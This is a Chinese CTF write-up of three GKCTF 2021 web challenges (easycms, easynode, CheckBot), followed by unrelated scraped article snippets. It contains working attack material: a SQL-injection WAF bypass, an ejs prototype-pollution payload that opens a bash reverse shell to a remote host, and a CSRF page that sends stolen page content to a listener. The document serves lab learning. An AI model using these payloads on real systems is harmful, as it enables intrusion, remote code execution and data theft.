CTF-NSSCTF[GKCTF 2021]
[GKCTF 2021]easycms
考察:
用扫描工具扫描目录,扫描到后台登录界面/admin.php

题目提示了密码是五位弱口令,试了试弱口令admin和12345直接成功了
任意文件下载
点击设计-->主题然后随便选择一个主题,点击自定义,有一个导出主题

下载下来的文件右键复制下载链接
http://node4.anna.nssctf.cn:28649/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQveHh4LnppcA==
最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc=
paylaod:
http://node4.anna.nssctf.cn:28649/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
下载后是个压缩包,将文件扩展名改成.txt或者直接用notepad++打开得到flag
文件上传
设计——自定义——首页——编辑,选择php源代码

保存的时候要我先创建一个nhvt.txt文件,这个文件名是每个人不一样的

设计——组件——素材库——上传素材

先上传一个txt文件然后编辑它的名称,改成…/…/…/…/…/system/tmp/nhvt

然后回去编辑php代码

返回网站首页得到flag

[GKCTF 2021]easynode
考察:js 弱类型 、ejs 原型链污染
源码:index.js文件
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());// 过滤username和password中的危险字符
let safeQuery = async (username,password)=>{const waf = (str)=>{// console.log(str);blacklist = ['\\','\^',')','(','\"','\'']blacklist.forEach(element => {if (str == element){str = "*";}});return str;}
// 配合waf函数把黑名单里的危险字符依次替换为 * 但是是== 弱类型比较
//
//
// 这里操作就可以让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF
// 再通过WAF中拼凑操作 因为JS中,如果两个数组相加 最后的数组被转换为一个字符串
// 要注意这里post的username数组长度一定要长 不然无法登录const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){if (waf(str[i]) =="*"){str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);}}return str;}username = safeStr(username);password = safeStr(password);let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));// console.log(sql);result = JSON.parse(JSON.stringify(await select(sql)));return result;
}app.get('/', async(req,res)=>{const html = await ejs.renderFile(__dirname + "/public/index.html")res.writeHead(200, {"Content-Type": "text/html"});res.end(html)
})app.post('/login',function(req,res,next){let username = req.body.username;let password = req.body.password;safeQuery(username,password).then(result =>{if(result[0]){const token = generateToken(username)res.json({"msg":"yes","token":token});}else{res.json({"msg":"username or password wrong"});}}).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});})app.get("/admin",async (req,res,next) => {const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){username = resultvar sql = `select board from board where username = '${username}'`;var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board);console.log(board);const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})res.writeHead(200, {"Content-Type": "text/html"});res.end(html)} else{res.json({'msg':'stop!!!'});}
});app.post("/addAdmin",async (req,res,next) => {let username = req.body.username;let password = req.body.password;const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);select(sql).then(close()).catch( (err)=>{console.log(err)}); var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);console.log(sql);select(sql).then(close()).catch( (err)=>{console.log(err)});res.end('add admin successful!')}else{res.end('stop!!!');}
});app.post("/adminDIV",async(req,res,next) =>{const token = req.cookies.tokenvar data = JSON.parse(req.body.data)let result = verifyToken(token);if(result !='err'){username = result;var sql ='select board from board';var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board);console.log(board);// 让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1\"');var __tmp2"}} 进行 extend 操作for(var key in data){var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));}// 思路: username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,// 总的操作就是 login里面POST传username绕过获得token 再去addAdmin创建用户 最后获取__proto__用户的token 用token去adminDIV POST data数据污染 然后再去admin就能反弹shellsql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`select(sql).then(close()).catch( (err)=>{console.log(err)}); res.json({"msg":'addDiv successful!!!'});}else{res.end('nonono');}
});app.listen(1337, () => {console.log(`App listening at port 1337`)
})
大概看一下,最后我们其实就需要达到extend去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));
看到这里,我们就是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,
所以我们就需要让 username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,
回到最上面

这里可以输出token,所以我们只需要登录成功就行,但是它对username和password进行了WAF操作,我们就想进行绕过,核心代码:
let safeQuery = async (username,password)=>{ // 过滤username和password中的危险字符并进行select查询const waf = (str)=>{// console.log(str);blacklist = ['\\','\^',')','(','\"','\'']blacklist.forEach(element => {if (str == element){str = "*";}});return str;}const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){ // 配合 waf 函数将黑名单里的危险字符依次替换为 *if (waf(str[i]) =="*"){str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);}}return str;}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
就是判断 username 和 password 的字符是否存在黑名单,存在转换成 * ,然后一看判断是 ==,可以使用弱类型绕过,即让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF,但是这样的 username 还是一个数组啊,如何插入SQL语句中造成登录成功呢,
在 JS 中,如果将如果将两个数组相加,则最终数组将被转换成一个字符串:

获取token的WAF弱比较绕过
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
POST反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20这里写base64后的受害者语句%3D%7Cbase64%20-d%7Cbash');var __tmp2"}
上面说的受害者语句 就用下面的去转base64
bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1"

然后访问 /admin 路由去渲染,进入 ejs 渲染引擎,触发RCE

对于java考点题目还是有点懵的
[GKCTF 2021]CheckBot
考察:
进去源代码处有提示,把uri通过post方式给它

在admin.php处发现flag,但应该要本地访问才行,这题bot会点击我们发过去的链接,那就整个csrf吧
把下面的代码放在自己的vps上,然后把网址发过去让bot去访问,bot访问后会把flag发到我们监听的端口这,就可以成功获取flag
<html><body><iframe id="flag" src="http://127.0.0.1/admin.php"></iframe><script>window.onload = function(){/* Prepare flag */let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;/* Export flag */var exportFlag = new XMLHttpRequest();exportFlag.open('get', 'http://node4.anna.nssctf.cn:28554/flagis-' + window.btoa(flag));exportFlag.send();}</script></body>
</html>
后面做法我的操作不行,这道题就pass了
参考资料:[GKCTF 2021]CheckBot-CSDN博客
相关文章:
CTF-NSSCTF[GKCTF 2021]
[GKCTF 2021]easycms 考察: 用扫描工具扫描目录,扫描到后台登录界面/admin.php 题目提示了密码是五位弱口令,试了试弱口令admin和12345直接成功了 任意文件下载 点击设计-->主题然后随便选择一个主题,点击自定义࿰…...
MSA+抑郁症模型总结(一)(论文复现)
MSA抑郁症模型总结(一)(论文复现) 本文所涉及所有资源均在传知代码平台可获取 文章目录 MSA抑郁症模型总结(一)(论文复现)情感分析在多场景的应用一、概述二、论文地址三、研究背景四…...
STM32智能农业灌溉系统教程
目录 引言环境准备智能农业灌溉系统基础代码实现:实现智能农业灌溉系统 4.1 数据采集模块 4.2 数据处理与分析模块 4.3 通信与网络系统实现 4.4 用户界面与数据可视化应用场景:农业监测与优化问题解决方案与优化收尾与总结 1. 引言 智能农业灌溉系统通…...
MySQL存储引擎和
MySQL存储引擎 在数据库中保存的是一张张有着千丝万缕关系的表,所以表设计的好坏,将直接影响着整个数据库。而在设计表的时候,最关注的一个问题是使用什么存储引擎。MySQL中的数据用各种不同的技术存储在文件(或者内存)中。这些技术中的每一种…...
Eclipse 主网向开发者开放
摘要:Eclipse 基金会宣布,Eclipse 主网已经向开发者开放。在接下来几周的时间里,Eclipse 将邀请开发者在主网上部署项目,并参加黑客马拉松活动——“Total Eclipse Challenge”。 Eclipse 是首个基于以太坊的 SVM Layer2 方案&am…...
国内NAT服务器docker方式搭建rustdesk服务
前言 如果遇到10054,就不要设置id服务器!!! 由于遇到大带宽,但是又贵,所以就NAT的啦,但是只有ipv4共享和一个ipv6,带宽50MB(活动免费会升130MB~) https://bigchick.xyz/aff.php?aff322 月付-5 循环 :CM-CQ-Monthly-5 年付-60循环:CM-CQ-Annually-60官方…...
锅总浅析链路追踪技术
链路追踪是什么?常用的链路追踪工具有哪些?它们的异同、架构、工作流程及关键指标有哪些?希望读完本文能帮您解答这些疑惑! 一、链路追踪简介 链路追踪技术(Distributed Tracing)是一种用于监控和分析分布…...
为什么阿里开发手册不建议使用Date类?
在日常编码中,基本上99%的项目都会有一个DateUtil工具类,而时间工具类里用的最多的就是java.util.Date。 大家都这么写,这还能有问题?? 当你的“默认常识”出现问题,这个打击,就是毁灭性的。 …...
中间层 k8s(Kubernetes) 到底是什么,架构是怎么样的?
你是一个程序员,你用代码写了一个博客应用服务,并将它部署在了云平台上。 但应用服务太过受欢迎,访问量太大,经常会挂。 所以你用了一些工具自动重启挂掉的应用服务,并且将应用服务部署在了好几个服务器上,…...
【CTFWP】ctfshow-web40
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 题目介绍:题目分析:payload:payload解释:payload2:payload2解释:flag 题目介绍: …...
项目实战1(30小时精通C++和外挂实战)
项目实战1(30小时精通C和外挂实战) 01-MFC1-图标02-MFC2-按钮、调试、打开网页05-MFC5-checkbox及按钮绑定对象06--文件格式、OD序列号08-暴力破解09-CE10-秒杀僵尸 01-MFC1-图标 这个外挂只针对植物大战僵尸游戏 开发这个外挂,首先要将界面…...
百日筑基第三十六天
今日论道还算顺利,只可惜感到也没学到什么东西。晚些时候师祖问话,主要是来这边之后有什么困难之类,好像也没遇到需要他来帮我解决的困难,于是问了些修炼方法之类。...
MySQL: ALTER
正文 在数据库管理系统(DBMS)中,DDL(Data Definition Language)、DCL(Data Control Language)、和 DML(Data Manipulation Language)是三种主要的SQL(Struct…...
微前端技术预研 - bit初体验
1.关于什么是微前端以及微前端的发展, 当前主流框架以及实现技术等,可参考这篇总结(非常全面), 微前端总结:目录详见下图 本文内容主要针对bit框架的实时思路以及具体使用。 1.什么是Bit? Bit 是可组合软件的构建…...
对象关系映射---ORM
一、什么是ORM? ORM(Object Relational Mapping),即对象关系映射,是一种程序设计技术,用于在面向对象编程语言中实现对象和关系型数据库之间的映射。 二、ORM是干什么的? ORM 的主要目的是简…...
Django REST Framework(十七)Authentication
1.认证Authentication 在 Django REST framework (DRF) 中,可以在配置文件中配置全局默认的认证方案。常见的认证方式包括 cookie、session、和 token。DRF 提供了灵活的认证机制,可以在全局配置文件中设置默认认证方式,也可以在具体的视图类…...
FPGA开发——数码管的使用
一、概述 在我们的日常开发中,数字显示的领域中用得最多的就是数码管,这篇文章也是围绕数码管的静态显示和动态显示进行一个讲解。 1、理论 (1)数码管原理图 在对数码管进行相关控制时,其实就是对于8段发光二极管和…...
什么是网络安全等级保护测评服务?
等保测评 依据国家网络安全等级保护制度规定,按照有关管理规范和技术标准,对非涉及国家秘密的网络安全等级保护状况进行检测评估。定级协助 根据等级保护对象在国家安全、经济建设、社会生活中的重要程度,以及一旦遭到破坏、丧失功能或者数据…...
基于深度学习的多模态情感分析
基于深度学习的多模态情感分析是一个结合不同类型数据(如文本、图像、音频等)来检测和分析情感的领域。它利用深度学习技术来处理和融合多模态信息,从而提高情感分析的准确性和鲁棒性。以下是对这一领域的详细介绍: 1. **多模态情…...
Glove-词向量
文章目录 共现矩阵共线概率共线概率比词向量训练总结词向量存在的问题 上一篇文章词的向量化介绍了词的向量化,词向量的训练方式可以基于语言模型、基于窗口的CBOW和SKipGram的这几种方法。今天介绍的Glove也是一种训练词向量的一种方法,他是基于共现概率…...
从HuggingFace下载到本地部署:手把手教你定制自己的BertTokenizer工作流
从HuggingFace下载到本地部署:手把手教你定制自己的BertTokenizer工作流 在自然语言处理项目中,一个高效且灵活的分词器往往是整个流程的基石。BertTokenizer作为HuggingFace生态中的核心组件,其预训练版本能够处理绝大多数英文和中文文本处理…...
go-zero v1.10.1 更新解析:JSON5 配置正式支持 Redis 通用命令 Do DoCtx 上线 Go 1.24 升级与 core/codec 关键安全修复全梳理
一、版本总览:go-zero v1.10.1,微服务框架的又一次关键迭代 2026年3月28日,国产高性能Go微服务框架go-zero正式发布v1.10.1版本。作为一次补丁式更新,该版本并非简单的问题修复,而是集新功能拓展、核心安全加固、底层依…...
Qwen3-Reranker-8B开源大模型:支持HuggingFace Transformers原生加载
Qwen3-Reranker-8B开源大模型:支持HuggingFace Transformers原生加载 如果你正在构建一个智能搜索系统、问答机器人或者文档分析工具,那么“重排序”这个环节你一定不陌生。简单来说,它就像一个智能裁判,当你的检索系统从海量文档…...
OpenClaw人人养虾:配置Anthropic (Claude)
Anthropic 是 Claude 系列模型的开发者。Claude 以出色的指令遵循能力、深度推理和长文本处理著称。OpenClaw 支持通过 API Key 或 Claude Code CLI OAuth 接入。 认证方式 方式一:API Key(推荐) 前往 Anthropic Console 创建 API Key在 O…...
AQM0802字符LCD轻量驱动库:裸机printf级显示方案
1. 项目概述AQM0802 是一款由旭化成(AKM)推出的超低功耗、单色字符型液晶显示模块,采用 COG(Chip-on-Glass)封装工艺,内置 KS0066 兼容控制器。其典型型号为 AQM0802A-YBW,具备 8 字符 2 行的显…...
小白友好!MogFace本地部署全攻略,从安装到检测只需3步
小白友好!MogFace本地部署全攻略,从安装到检测只需3步 1. 工具简介 MogFace是一款基于CVPR 2022论文的高精度人脸检测工具,特别适合需要保护隐私的本地化应用场景。它能够准确识别照片中的多个人脸,无论这些人脸是大是小、是正脸…...
老生常谈:聊聊mysql幻读问题?
之前有位小伙伴美团三面,一直被追求「幻读是否被 MySQL 可重复度隔离级别彻底解决了?」之前我也提到过,MySQL InnoDB 引擎的默认隔离级别虽然是「可重复读」,但是它很大程度上避免幻读现象(并不是完全解决了࿰…...
实战应用:为团队部署即装即用的中文版mobaxterm统一环境
在团队协作开发中,统一开发环境配置是个常见痛点。最近我们团队就遇到了这个问题:新成员加入时,每个人都要手动配置MobaXterm的中文界面、服务器连接、工具集等,既费时又容易出错。经过实践摸索,我总结出一套用脚本自动…...
深入解析 Android 开发高级工程师:职责、技能与面试精要
在移动互联网时代,Android 平台作为全球最大的移动操作系统之一,其应用开发人才的需求持续旺盛。对于追求技术深度和业务影响力的开发者而言,进阶成为 Android 开发高级工程师是一个重要的里程碑。这不仅要求开发者具备扎实的编码功底和丰富的项目经验,更需要其在架构设计、…...
Gemma-3-12B-IT WebUI保姆级教程:多模型切换与Gemma-3-27B对比体验
Gemma-3-12B-IT WebUI保姆级教程:多模型切换与Gemma-3-27B对比体验 1. 开篇:为什么你需要一个更聪明的AI助手? 想象一下,你手头有一个能写代码、能解答技术难题、还能陪你聊天的AI助手。它运行在你自己的服务器上,数…...
